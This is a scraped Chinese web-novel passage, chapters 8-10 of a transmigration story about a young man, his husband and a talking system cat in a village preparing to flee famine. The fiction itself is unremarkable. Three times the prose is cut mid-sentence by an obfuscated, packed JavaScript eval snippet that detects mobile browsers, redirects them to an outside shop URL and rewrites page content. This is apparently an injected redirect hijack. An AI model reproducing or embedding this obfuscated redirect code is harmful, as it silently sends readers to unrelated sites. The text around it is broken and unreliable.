好像他真的把他当作夫郎,而不是仇人一样,木恩生赶忙垂下脑袋,想到今日在镇上碰到的漂亮哥儿。 或许,他身边只有自己了,需要自己保护他,他才会这么演戏…… “喵~”999终于吃到那一口美食,简直高兴得忍不住发出声音。 顾珉主动跟他解释,“这是我捡的猫,漂亮吧,就是贪吃了些。” 木恩生脑子里却只有一个念头,果然,他就喜欢漂亮的东西,他收起了莫名的情绪,一张略显凌厉深邃的面容也恢复了平常。 只是,很快顾珉又打破了他的平静。 “木恩生,你怎么站在门口,你不睡觉吗?”顾珉躺在床上,好奇地看着他奇怪的行为。 “少爷,我在门口守着你。”木恩生一板一眼地答道,“以防有什么危险。” 最主要的,李阿婆家只有两间屋子两张床,没有他睡的地方了,木恩生也习惯了在外面当个门神,他可以在没有危险的间隙稍稍打个盹儿。 顾珉有些无奈,原主把好好一个夫郎都训成什么了,又当小厮,又当护卫,什么乱七八糟的事都让他做,唯独没把他当作个人。 虽然有些别扭,他还是往床里侧挪了挪,拍了拍身边的空位。 “保护我,睡在我旁边不是更方便吗?” 木恩生呼吸一滞,少爷真是变得很不一样了,一时让他不知该如何应对。 良久,顾珉有些失落地哀叹一口气,“你在嫌弃我吗。” “不是,少爷,这样实在……” “不要叫我少爷了,你忘了你答应的事吗,我是你夫君,你在阿婆还有村长他们跟前千万不要露馅。”顾珉难得厉声对他说话,否则他一直按照之前的习惯来,他也很不适应。 “是。”等木恩生来到他床边,发现那只漂亮的长毛白猫正睡在中间,他不由暗暗松了口气。 “宿主,你这样真的很不道德,你不习惯和陌生人躺在一起,你以为我习惯吗?竟然把我当做三八线!”999气愤地喵了几声。 “很快你就会习惯的。”顾珉嘟囔着,不过片刻便昏睡了过去。 次日,他就拉着木恩生的手去了老村长家,还交代他,“自然点,你很紧绷,好像我不是你的夫君,而是威胁你的恶人一样,老村长他们很厉害,一眼就能识破我们的关系。” 木恩生不禁暗暗感慨,论演技,还是少爷技高一筹,这点是他怎么都学不来的。 老村长和陈夫郎二人见到他们一起过来,不需要他们表现得多亲密,就已经满意地点了点头,但还是语重心长地提醒了顾珉两句。 “夫妻还是原配的好,木哥儿虽不像个常规的哥儿,长得是……却有他的过人之处,比其他哥儿更坚韧勇敢,力气也很大,不需要男人来保护,反而能做很多事,是个入得厅堂下得厨房的贤内助。” 木恩生听着这两个不怎么熟识的人为自己说话,这是除了夫人和少有的几个亲人,从未对他有过的认可和温情,他心里暗暗动容,有些窘迫不安。 不想,顾珉认真地摇了摇头,“不……” 木恩生的心口霎时像被一只手掐了一把,嘴边浅薄的笑容也沉寂了下去。 8. 举村逃荒8交钱滚 顾珉打量着身边的哥儿,眼睛越看越亮,充斥惊艳。 “木哥儿长得也很好,很俊,他只是不是柔软漂亮的那种类型,可他眉眼锐利深邃,鼻梁高挺如若悬胆,嘴唇也很性感丰厚,骨相清晰利落,真的是……” “丑夫郎”一说真是好没道理,不符合这个朝代流行的审美就是丑人吗?可他看着,分明就是大帅哥一枚,而且是不掺水符合所有正常人审美的那种五官轮廓挺拔如刻的建模型小麦皮帅哥。 本该是个桀骜不驯、充满野性张扬的傲慢神秘风格,却偏偏性子老实敦厚,隐隐透着股自卑和韧劲,让顾珉有些心疼,不知他被那些羞辱不堪的言论裹挟了多久。 又怎么在这种困境下,变得这么优秀能干。 所以他毫不保留自己的赞美,惹得在场的几人都一愣一愣的,老村长跟陈夫郎也认真打量起木哥儿来。 顾珉眼光毒辣,他还看出木恩生极有可能混了其他血统,否则不会生得比一般哥儿高大许多,经过遗传,这个时代的哥儿确实很多都是弱柳扶风的类型,再加上有涂脂敷粉的习惯。 同样是同性恋,顾珉还是更喜欢木恩生这种风格长相,虽然他也不清楚自己到底是不是同性恋,毕竟他也没异性恋过。 “总之,我很喜欢木哥儿的长相。”顾珉望着他,温柔一笑,桃花眸里像是汪了春水似的。 木恩生整个人都“不好了”,他形容不好这种复杂又想要逃离的感觉,胸口火辣辣的像在发烫,只有紧紧攥着拳头,才没做出一些奇怪的事来。 “好好好,木哥儿确实长得俊,我就说你不喜欢的话娶人家干什么,总不至于想祸害他吧。”老村长满意极了,随即又肃下脸来。 “话不多说,就是这两天了,你们尽快做好准备,有什么需要的来找我们,一旦踏上那条路……”老村长眼底划过一丝哀色,看了看老夫郎。 陈夫郎却安慰地拍了拍他的手背,“都活到这把岁数了,不管怎么样,都值了!” 他们倒可以跟一些不愿离开的人一样,留在原地等死,叶落归根,可老村长当了一辈子村长,肩上扛着沉甸甸的担子,他怕自己不去,整个村子就散了,到时候会发生什么可怕的事更难以想象。 “好,那我们走了,村长如果有什么需要帮忙,也可以找我们。”顾珉拉住木恩生,正要离开。 “村长!村长你啥意思,真要带着那个病秧子一起啊?”一道粗声粗气的大嗓门在院门外响起,说着的同时,正好跟顾珉二人碰了个正着。 这是个膀大腰圆的中年汉子,见状,顿时拉下了那张略显凶相的国字脸。 “你又跑来干啥?不拿出东西就想加入我们村,你当我们乐善好施呢?你们这些有钱人都不做好事,抠门得很,咋还这么不要脸的让我们牺牲行善!” 男人怨气很大,碗大的拳头都捏紧了,“要么交钱,要么滚!” “胡金水,谁准你跑我家门前撒野的!”老村长气得不轻,又安抚顾珉二人,“别听他胡说八道,你们走吧。” “我是你儿子!我说的话不听,他们还要听谁的,我已经跟村里人说了,但凡家里有老弱妇孺、残疾病痛的,全都给我统统留在村里,就这种人还想逃荒,别把其他能逃荒的人给害死!” 说着,又皱眉看向陈夫郎,“小爹也是,你腿脚不好,还想往哪跑,有点自知之明吧,被胡人追过来,没的还拖累我们。” “你,你个黑心肝的不孝子,我可是生你养你的亲爹!”陈夫郎被气得身形摇晃。 老村长忙扶住他,想把他送回屋里。 “爹,你好好考虑一下我的话,村里不少人都这么觉得,让他们在村子里落叶归根不好吗,何必奔波劳累,反正都是一个死!” 陈夫郎脸上滑下了一串老泪,一辈子不辞辛劳把他们拉扯大,儿子就是这么看他的。 他还从没让这个儿子做过什么呢,没为这个家付出过半点,一门心思挖空他们去贴补小家,就这样,还嫌他是个拖累! “我不去了,我不去逃荒了,就让我死在家里头!”他剧烈挣扎起来,呜呜哭泣。 “你何必听他的,就当他放了个屁,又不是他管我们,我们能自力更生!”老村长忙劝,他知道老妻心怀耿耿,一直放不下几个孩子,所以才会被伤透了心。 “管的这么宽,你是要为我们提供逃荒路上的饭菜,还是要一个个背着我们去逃荒?还是危险来了,你会帮我们打跑敌人?”顾珉气笑了,对于他这种生在幸福家庭里的人,完全不理解为什么会有这种爹妈都不在意的畜生。 何况这爹妈还不是个坏的,对陌生人都能伸一把援手,对亲生的又不知有多掏心挖肺。 “你想得美!”见他竟敢做白日梦,胡金水捏着拳头就要上前。 木恩生二话不说,直接走了过去,“你要做什么?” 胡金水被他无形的气势惊了一下,意识到自己弱了一头,顿时撇嘴,“真丑!” 顾珉眉骨一沉,在心里道:“999,咬他!” “我只吃美食,不咬臭肉啊!”说是这么说,在一旁晒太阳看戏的白猫忽然冲过来,一个飞蹬,竟凌空而起,抓破了胡金水的脖子,一口咬在他的鼻子上。 “啊啊啊!”胡金水甚至没反应过来,就被一股剧痛侵袭,疯了一般忙要拽开这只野猫。 “滚开,死猫,我要杀了你啊啊!” 999却施施然地优雅落地,舔了舔自己微乱的毛发。 顾珉看着胡金水鼻子上瞬间血流如注,地上还有一小块血肉,冷淡道:“现在你也是残疾、病痛的人了,都别去逃荒了!” “你!我不是,我只是……”胡金水捂着鼻子,却慌了,他不要变成一个没有鼻子的人,到时候别人会怎么笑话他。 “规矩不是你定的,人也不是你管的,就别说那些废话了,否则你也会变成一个彻头彻尾的病弱之人。”顾珉丢下一句话,就将愣住的木恩生拉走了。 看着那只凶残的白猫亦步亦趋,胡金水惊疑不定,那猫竟然这么听他的话,没想到他还有这种手段。 迟早,他要把这只贱猫杀了吃肉!! “宿主,你还是一如既往的护短,你什么时候护护我。”999觉得自己的嘴也变臭了,一路不断吐着口水。 “乖,你不短。”顾珉安慰。 “少爷,你生气了吗?”木恩生想要观察他的表情,却又不敢直视那张温和带笑的漂亮面庞。 “我见不惯这种辜负真心的不孝之人。”想到上辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478980|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子自己那样的情况,所有人都在劝爸妈放弃自己,让他们再生一个健康的孩子,他们的事业地位也不会受影响,他们却固执地照顾他,用尽一切手段挽留自己的生命。 顾珉抿了抿唇,不知自己死了,他们会有多难过。 “他还骂你。”顾珉看向他,“你生来不是被随便辱骂的,下次要是有人再无缘无故骂你,你就直接打过去。” 被骂对木恩生来说已经麻木到不知道能反抗了,以前骂他最毒最凶的少爷竟然让他打回去? 他能打少爷吗? 但他好像已经很久没骂过他了,还夸了他很多。 两人回去的路上,就听到一些屋舍传来嘤嘤哭声,“呜呜娘,那些混蛋凭什么这么说,你能自己走路,他凭什么嫌弃你!” 又遇到一家汉子站在门前,神情复杂,却像是松了口气的样子。 “爹卧病在床那么多年,我已经尽了自己的孝道,不带他去逃荒也是为他好,我们好端端的人也有自己的日子要过。” 顾珉垂眸,越是听到这些言论,他就越觉得爸妈难得、不易,也是他们告诉自己,不论什么时候,不要轻易放弃自己,每个人都有自己的价值,哪怕一个瘫痪在床什么都做不了的人,爱他的亲人也需要他的陪伴。 两人回到李阿婆家的时候,没看到她在家。 “今天我们来做饭吧,总不至于老是麻烦一个老人家。”顾珉压下心头思绪,卷了卷袖子蠢蠢欲动,他还没尝试过做菜呢。 “少爷,放着我来,你别动手!”木恩生一惊,连忙拦住他的去路,并一把关上了灶房门。 “好吧,有什么需要帮忙的,可以叫我搭一把手。”顾珉也怕自己糟蹋粮食,所以说完他就带着999去打卡了。 这次他花了点时间,找了条隐蔽在枯草丛中的干涸小沟渠。 “宿主,这不行的,这沟渠肯定干了很久,没东西的。”999也怕自己没东西吃,但它做不到精准的提前预判。 “没有野菜鱼虾,应该有泥鳅吧?”顾珉若有所思,李阿婆家的鸡蛋见底了,也没有肉,他想整点肉吃。 “木恩生那么结实健壮的身材,身上还有肌肉,应该需要多吃点肉,你回溯吧。”顾珉还是选择试试。 999一口气溯源到两个月前的状态,眼前干枯开裂的沟渠河道顿时变成一滩烂淤泥,大概有十来米长的范围,也是这条沟渠的凹陷处,还有浅浅的一条水带若有似无地飘在上面。 顾珉上来就看到一个小指长的红色小龙虾陷在淤泥里,随即就灵活地钻了进去。 “999,你快下去抓泥鳅,猫儿应该就喜欢吃腥的东西。”顾珉笑得一脸柔和。 “宿主,别以为我不知道你在打什么主意。”999舔了舔自己雪白的猫毛,一猫一人就这样立在沟渠旁,大眼瞪小眼,谁也不肯下到那淤泥地里弄脏自己。 顾珉只得环顾四周,看看能不能找个人帮忙,这时,他注意到前方一棵大树下,一个瘦巴巴只有一团的小男孩正拿着小棍子戳着地面。 顾珉立马走过去,“孩子,你能过来帮阿叔一个忙吗?” 这会的顾珉忘了自己这具身体只有十八岁,“男孩儿”一抬头看到他,就糯糯道:“漂,漂亮哥哥?” 9. 举村逃荒9叫夫君 顾珉也惊讶了一下,这个眼睛大大在巴掌大脸蛋上显得有些突兀,还浑身脏兮兮的小男孩竟是个小哥儿,额头中间那一点朱砂似的印记就是身份标志之一。 他软了声音,自然不好让一个哥儿下那泥潭,“你家里有没有大点的哥哥,阿叔想请他们帮忙,有报酬的。” 闻言,本来眼中还有丝亮光的小哥儿眼神顿时暗淡了下去,“家里有哥哥,有大哥哥,二哥哥,三哥哥,他们都是男娃。” “你回家问问他们愿不愿意帮阿叔抓泥鳅,不过不能被大人们知道了,否则会教训你们,到时候阿叔分一半泥鳅给你们。”顾珉感觉自己像个诱拐小白兔的大灰狼,还让孩子撒谎,简直坏透了。 “算了,要不……”他去找木恩生帮忙吧,除去河泥太脏,顾珉确实没有抓泥鳅的技巧,他怕自己做无用功,还弄一身泥不好洗。 “抓,抓泥鳅?巧哥儿会抓的,巧哥儿也可以帮忙!”小哥儿忽然瞪大眼睛,期待地看向他。 “你是巧哥儿?”顾珉诧异。 小哥儿用力点了点头,然后用手指了指前方,“我之前在那里跟着爹爹他们一起抓过泥鳅的,他们都没有巧哥儿抓得多,我抓泥鳅最厉害了,奶奶他们都让我抓!” 看到他指的地方,顾珉抽了抽嘴角,“好吧,那你就去那里给我抓泥鳅吧。” 不过这家的长辈,竟然忍心让那么小的孩子还是哥儿去做这种事,他一时不知道说什么好,可能乡下的孩子早当家吧。 看着小孩儿卷起裤脚和袖口,就下到那泥里开始扒拉起来,顾珉又有些不忍心起来。 “宿主,你竟然要下去亲自抓?”999在一旁不可思议。 “试试看吧。”顾珉感觉自己在旁边看着,简直像在虐待孩子,结果等他也学着巧哥儿的样子,去摸厚重淤泥里的泥鳅,他发现果然不能高估自己。 他甚至摸到了臭鞋底,都没摸到泥鳅,倒是巧哥儿,摸得又快又准,滑不溜秋的泥鳅在他手里乖得很,随手一抛,就丢进了旁边的木桶里。 “阿叔,这里好多泥鳅啊!”孩子就是简单,一点都不会多想这里怎么又能抓到泥鳅了。 “那我们把它们抓光光,这样就不用再来一趟弄脏自己了。”战绩为零的顾珉大言不惭道。 “好啊,巧哥儿要全部抓完,一条不剩,红烧泥鳅最好吃了,每次巧哥儿都能吃到整整两条。”小哥儿吸了下口水,干得别提有多起劲。 整整两条……顾珉看了他一下,“晚上来李阿婆家吧,阿叔给你十条。” “十条!”巧哥儿馋得舔了舔嘴角。 “少爷,你去干嘛了?”刚烧好饭菜的木恩生一出来,就看到卷着裤脚还赤着脚的顾珉提着一个糊满淤泥的木桶回来,白皙俊美的脸上甚至也沾了几抹污泥,他却浑然不知笑得一脸灿烂。 “你看,我抓到好多泥鳅,还有小龙虾和小鱼!” “宿主,你好意思说是你抓的吗,倒是抓了几只小龙虾,但也被夹了好几下。”999嫌弃。 “少爷,你从哪抓的,怎么不叫我去?”木恩生却皱着眉担心又不解,尤其他注意到顾珉有些红肿的手指,几乎本能地就要拿过来看,却被突然攥住手。 “你还是别叫我少爷了,显得我很有钱的样子,容易被盯上。”顾珉有些汗颜,他现在身上穷得叮当响。 木恩生脑子却嗡的一声,看着近在咫尺的男人露出认真之色,完全不知被转移了话题。 “那,那叫你什么?” “顾珉?阿珉?小珉?随你的意。”顾珉笑道,打了点水开始清洗身上的污泥。 “那我可以叫你……夫君吗?”问出这句话,木恩生整个人都僵住了,他不知自己怎么说出这句话的,他的脸色微微发白,已经可以想象顾珉会有多愤怒,到时候那张红唇会吐出什么刻薄羞辱的话来。 “当然,我本来就是你夫君不是吗,何况我们还需要假扮一下。”顾珉答应得很快,主要他觉得这样也挺好,哥儿的地位不高,单身哥儿更容易遭到觊觎和戏弄,但成了亲的一般都不会主动招惹,那是在挑衅对方的丈夫,比直接欺负一个柔弱的哥儿要困难多了。 但顾珉还是觉得,对于这种随意欺负他人的人,搞这些弯弯绕绕的,不如直接揍服他算了! 李阿婆一直没回来,也不知去哪了,两人都有些担心,没有外出,吃完饭后,就赶紧把昨天两人囤的物资整理了一下。 木恩生有些羞赧地解开那一整麻袋的大米,又拿出十来斤晒干的腊肉,几只咸鸭,还有红薯半袋、土豆半袋、红的黄的糖块五六斤、盐巴十多斤,蜡烛,燧石,豆油,饴糖,炒豆子,杏干,针头线脑的杂七杂八。 顾珉瞪大了眼睛,还没来得及问,木恩生又掏出那一两二百五十文的银钱,“夫……夫君,这些钱我还没来得及花,你拿回去吧!” “不是,那你这些东西哪来的?”顾珉忙将钱推回去,“你不是说没遇到什么事吗?” “我确实是没事。”有事的是那些人,本来木恩生也没这么多东西,谁让他回来的半路上,竟然冒出来一伙人想要打劫他,还布置了陷阱,连他这个人都不放过。 木恩生一怒之下,就来了个反杀,是那些人为了活命,才求饶着要把他们抢来的东西献给他的。 “反正相,相当于捡的。”想到顾珉厌恶自己粗鲁暴力,更喜欢柔弱哥儿的样子,他就手心冒汗。 以前明明不在意的,此时却很怕他露出嫌弃不喜的表情。 “你没事就好。”顾珉却松了口气,想他辛辛苦苦换货,放在这里压根不够看啊。 看着这堆满一地、满满当当的粮食和用具,他翘了一下嘴角,他怎么有种自己在吃软饭的感觉? 还挺香的! “这一两银子你拿着吧,铜钱我留着,我们身上都装点钱,以防路上出个意外分开什么的,有点钱也能傍身。” “不,我不会跟你分开的!”木恩生立马严肃地表示,“我会时刻保护好你。” 顾珉一怔,被他的郑重感染,眉眼又软和了三分,“没关系,不用给自己那么大压力,保护不了也没什么,你先顾好自己,我也会想办法先顾好自己。” 他将那些东西归了归类,发现板车倒是能放下这些东西,但他推不动。 “999,你不是说你有一些空间系列的同事吗,要不你引荐一下我们认识呗?”顾珉突发奇想,要是有个空间,能解决很多问题,就是可能要告知身边亲近的人,又是一个麻烦。 999,“……” “我确实有些同事赋闲在家,有的已经躺平了,有的还在急着找工作,不过宿主不一定符合它们的要求,需要动用我的人脉,走下后门。” 顾珉,“……”原来系统的职场也这么卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478981|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那你尽快帮我想想办法,后面要是溯源到好东西,我们没空间,自己又吃不完,岂不是要便宜别人了。”顾珉激它。 “看我心情。”999翘起了尾巴,又故意用尾巴尖扫了一下木恩生的手背。 它发现这个人类不是很喜欢它,偶尔会复杂地盯着它看,像是在嫉妒它美貌的样子。 木恩生果然被吸引了注意,忍不住感慨,“它真漂亮。” “我以为你会好奇它竟然能跟我们一样吃东西,还吃得津津有味,胃口还挺大。”顾珉说着,见某只猫秒开棘背龙形态,就开心了。 “我的猫身凝聚需要很多能量的,宿主,你不要玩火。” “看我心情。” 999,“……”看来真得上点心了,它得看看最近有没有小弟巴结它,到时候赚个中介费。 顾珉这时还不知999后面会给他介绍多么离谱奇葩的系统,否则这会一定不会跟它斗嘴。 等水里的泥鳅都快吐干净脏东西的时候,李阿婆才匆忙从外面回来,“咋回事,村里怎么这么不太平,这就要上路了吗?” “阿婆你没事吧?”顾珉注意到她的眼圈有些发红。 “没事,村子里才有事吧,我听到有不少人家在吵架。”说着的同时,李阿婆也赶忙收拾着一些东西。 木恩生看了看顾珉,“好像是村长儿子连同几个汉子,去通知了一些人家,让他们不要把老弱妇孺残疾病痛的人带上路,有的人被说服了,觉得这主意挺好,有的人却被他们威逼利诱了。” “放屁!这是人说的话吗?”李阿婆怒不可遏,放下东西就要去找老村长。 “阿婆要怎么说服他们?那些动了心思的人可能本来就有那些心思,有的人也确实选择留下,不打算走,因为没那个条件了。”顾珉突然出声。 李阿婆扭过头来,不敢置信地看着他,“你怎么这么冷血无情!” “这一天村长肯定没少想办法去说服他们,可您回来,还有那么大的动静,本质还是他们自己的决定,不愿意放下病重残疾亲人的,哪怕别人拿着刀威胁他们,他们也不会放弃,而坚持不下去的,就是到了路上,也会找尽一切理由轻易放弃。” “今晚,可能还会发生些事情。”顾珉垂了垂浓长俊美的眼睫。 李阿婆目光复杂地看着他,这小子年纪轻轻的,怎么有那么多感悟,说得跟像那么回事一样。 她还是去了老村长家,却看到老村长坐在门口抽着旱烟,一脸愁云惨淡。 “这才刚开始呢……”他不止一次念叨着这句,又道,“我听说你今天去给你家玉清上坟了?” “毕竟以后可能就见不到了,如果以后这里太平了,我还活着的话,我会回来陪着玉清的,死了跟玉清葬在一块!”说完,李阿婆也没闲心管别家事了,自己还一屁股倒灶呢。 她回到家来不及感慨,就被顾珉这个臭小子指使着打理清洗大半木桶的泥鳅,又在他的要求下,将一部分泥鳅肉腌制了放在外面风干。 还撒盐熏烤了一部分,变得跟个黑色小木棍似的,然后扎成一小捆,顾珉足足弄了三捆。 剩下的都做了新鲜味美的泥鳅菜,顾珉刚拨出一小碟红烧泥鳅,又夹了一碗炸香酥泥鳅,一只小脑袋就从门外偷偷探了过来。 “阿,阿叔……”怯生生像是小猫叫的声音响起。 10. 举村逃荒10雇帮手 木恩生第一个捕捉到,诧异地看着这个陌生的小哥儿,黑漆漆的大眼睛里充满了不安,又带着一丝试探和好奇。 “呦,这是哪家漂亮小哥儿,怎么想到来李奶奶家了?快,进来,奶奶家刚做好了泥鳅菜。”李阿婆招呼道。 小哥儿却腼腆地摇了摇头,直到看到顾珉走过来,他才兑现承诺一般问道。 “我,我真的有十条红烧泥鳅吗?” 中午那会,顾珉只给了一小半的活泥鳅让他带回去,因为他想到巧哥儿家里可能比较苛待他,所以就干脆将其他泥鳅做成现成的菜给他吃。 “不止十条,想吃多少吃多少。”顾珉笑着拉过他的小手,让他坐在旁边的凳子上。 “这是专门给你准备的,可以先吃红烧泥鳅,香酥泥鳅尝一两根,剩下的吃不完就偷偷带回家,自己一个人留着当零嘴吃。”顾珉耐心地交代。 木恩生看着他如此细心温和的样子,又看了看这个小小的孩子,不知想到什么,桌子底下的手绞成了一团。 “不,不行的,巧哥儿只吃十条就够了。”小哥儿摇了摇头,就是偷吃这十条他都很不安害怕,怕被奶奶发现了,拿竹条抽他的屁股。 顾珉坐下来,“那你今天带回去的泥鳅,你家里给你吃了几条?” 虽然只给了一小半,但他们着实抓了不少,也是有好几斤的,那么多,他倒要看看巧哥儿家里是如何分配的。 “奶奶只做了一半,大哥哥他们好久没吃过肉了,爷爷和大伯大伯娘要干活,也要吃肉……”巧哥儿讷讷道,虽然早被训得乖巧听话,可还是难掩落寞。 “那就是一条都没给你?”顾珉声音微扬,压抑着怒气。 “有啥好问的,胡老三家向来偏心大房,大房一口气生了三个儿子,又一向霸道,在家里呼来喝去,把二房男人夫郎当奴才使,巧哥儿没被饿死都算他命硬了!”李阿婆不以为然道。 “偏他那爹也是个拎不清的,觉得自己只生了个哥儿,夫郎又坏了身子,后继无望了,就巴巴讨好大房,指望几个侄儿给他养老送终摔盆磕头,他们怎么磋磨巧哥儿都不管的。” 木恩生怜惜又恍惚地看着这个跟他有着相似经历的小哥儿,只不过他幼时是被后娘磋磨,后来后娘跟大爹回娘家意外摔山沟里死了,他跟妹妹又被霸占了他家家财的二叔一家当皮球踢来踢去。 这才有了他想卖身把银两给妹妹当傍身钱,再把妹妹托付给她舅舅一家,然后进入了顾家成了逆来顺受的“丑夫郎”。 想到妹妹,又想到老木家那些阴魂不散死皮赖脸的家伙,木恩生眸底染上愠色,忍不住观察顾珉的反应。 “吃吧,别等菜凉了。”顾珉没说什么,等巧哥儿吃的差不多了,且只吃了十条红烧泥鳅。 他道:“尝尝这个炸酥泥鳅,这是我让我夫郎特地为你做的,小孩子最爱吃了。” 被突然点名,又被顾珉看过来朝他眨了眨眼睛,木恩生蹭地一下红了俊脸,“巧哥儿,能不能给我个面子,要是做的不好吃的话……” “阿叔会揍你吗?”巧哥儿忽地一脸紧张,在家中,爹爹就是经常会被爹揍,每次都鼻青脸肿的痛得打滚。 他忙抓起一条香酥泥鳅,嘎嘣嘎嘣吃了起来,还连忙向顾珉表示,“阿叔,你夫郎做的泥鳅好好吃呀!” 是真的好吃,顾珉和999也连连点头,跟他们前世在顶级私厨吃的美味都能相媲美,现代还有那么丰盛的调料和前人做菜的经验呢。 木恩生能用极少极简的调料将饭菜做的这么美味,顾珉还没惊叹呢,999就一再表示。 “你这个老婆我认可了,你以后可不准随便换老婆,否则我就跟你老婆走了!” “万一他自己都不走呢?”顾珉打趣一声,随即又郁闷了,不知自己何时才能赎完罪,让他相信自己不会再欺负他。 到时候就算做不成夫夫,雇佣他来做自己的厨子,不知道他会不会拒绝。 因为炸香酥泥鳅太过好吃,巧哥儿一个控制不住,直接吃完了一整碗,吃完他就意识到自己做错了事,害怕道:“对,对不起,巧哥儿吃了好多!” “木恩生,你待会送他回家,看他没事再回来。巧哥儿,你放在我这里的泥鳅还没吃完呢,不过剩下的这些不怎么能放了,等到了逃荒路上,如果你吃不上饭饿肚子的时候,可以来阿叔这里,阿叔给你一点吃的,但不能被你家人发现,知道吗?”顾珉蹲下来,认真地对他说。 巧哥儿似懂非懂,“阿叔还要我抓泥鳅吗?” 顾珉想说不用,不过想到或许需要这个孩子帮忙,为什么不给他一个用自己劳动换取粮食的机会,省得他再找别人,就当是雇佣一个好用的帮手了。 “或许是抓小鱼小虾,挖野菜摘果子,巧哥儿要多学些本领,到时候帮阿叔的忙啊,帮的越多,阿叔就能给你吃的越多。” 巧哥儿顿时激动地点了点小脑袋,“谢谢阿叔!” 然后主动牵住了木恩生的手,出了门后,还打了个饱嗝,开心不已,“巧哥儿已经很久没吃饱饭了。” 木恩生沉溺在顾珉方才的温柔中,他怎么会变得那么多,又变得那么好,让他心口像是有什么东西破土而出,发出芽来。 果然,到了巧哥儿家门口,木恩生打老远就听到胡老三家有尖锐刺耳的骂声传来。 “那小贱蹄子呢,一到要做事就躲起懒来了,今晚啥也别吃了,饿死活该!” “早知道他那么小就知道耍心眼,跟他那小爹一样奸懒馋滑,就该把他丢到茅坑里溺死!” 类似的言论,木恩生幼时也听过无数遍,可早已麻木的心不知为何,突然冒出一丝火气。 他想到少爷说,没有人生来是挨骂的,直接打过去便是! “巧哥儿,你回房躲着,我待会再给你拿些吃的。”木恩生动作很快,像是受过数年训练的顶尖刺客,一个小石子从门口的暗影里无声掷过去,瞬间“次擦”一声。 “嚯,怎么黑了?”坐在堂屋正准备吃晚饭的胡老三一家愣住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478982|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也没风啊,快,我还没夹到泥鳅肉呢,赶紧把蜡烛点着!” 话没说完,突然传来一声“啊”的惨叫,“我的脸,谁,你们打我作甚!?” “他娘的,又不是我打你的,你打我干啥?老二,你敢反了天了!” “爹,不是,我在点蜡烛,是,刚才是大哥说话……”窝囊又憋屈的声音响起,紧跟着,就被一脚踹跪在地上。 “爹!真不是我,不是我打你的!”老二委屈地直叫。 “哎呦,老大媳妇,你敢薅老娘头发,你是不想活了?我挠不死你的!” “啊!” 最后胡老三家到底没成功点着蜡烛,就内讧着打成了一团,尖叫嘶吼着碰倒了一应桌椅碗筷。 木恩生将蜡烛揣在怀里,又一手一个盘子,将那盘泥鳅肉送给了巧哥儿,“别被发现了,让你小爹吃。” 他则把另一盘味道比较大容易被闻到的肉菜直接端走,他刚才借着月光看到那是一盘鸡肉。 再结合院子外面晒的新鲜鸡毛,木恩生第一反应就是把这么好的菜带回去给少爷吃。 等他兴冲冲赶到家时,却发现顾珉早早睡了,却不如昨晚睡得那么安静平和,微皱着好看的眉头,像在为什么困扰。 999扫着大尾巴,看着这个男人束手束脚地在床边无声徘徊,站着也不是,守在门口也不是,最后咬了咬唇,又在宿主旁边躺下了。 不知想到什么,躺在中间的999忽然起身伸了个懒腰,走到顾珉的头顶窝着,并给了木恩生一个眼神。 木恩生自然没发现,999一走,他就有些窘迫和不自在地往后退了退,可看着如此平静温和的男人,想到这几天他的种种表现。 他又忍不住一点一点靠近,轻轻碰了碰顾珉的衣服,心口也跟着晃了晃。 天还未亮,整个大坡村就喧哗了起来,紧跟着,也不知是谁家的哭声飘了过来,是那样的凄厉又痛苦。 木恩生警觉地一把坐起,走出去就看到李阿婆已经穿戴好了衣服,抱怨道:“一大早的,还让不让人活了!” “好像是有人死了……”木恩生天生五感就很灵敏,他不仅听到了哭声,还听到了一些哭嚎。 等顾珉睡了个昏天暗地,浑身都有些汗湿地醒过来时,一只手拿着帕子正要擦过来。 “少……夫君,你醒了,你没事吧?”木恩生有些担心地看着他苍白的脸色。 “没事,浑身没劲,你给我擦擦吧。”说着,顾珉一顿,在现代也是个“少爷”,还是个处处被人伺候的,他都习惯了使唤人。 他正要说“我来吧”,木恩生就自然地替他擦起了脸,只是,当不经意间目光跟他对上,又僵了一下。 “怎么了?”顾珉诧异。 “没,没什么,夫君,村子里死了好几个人,你昨天说夜里会出事,是猜到了吗?”木恩生局促地转移话题,心里却在想,病恹恹的少爷,才刚成年的少爷,不会发疯还听话温和的少爷,真是让人怜爱又欢喜呢!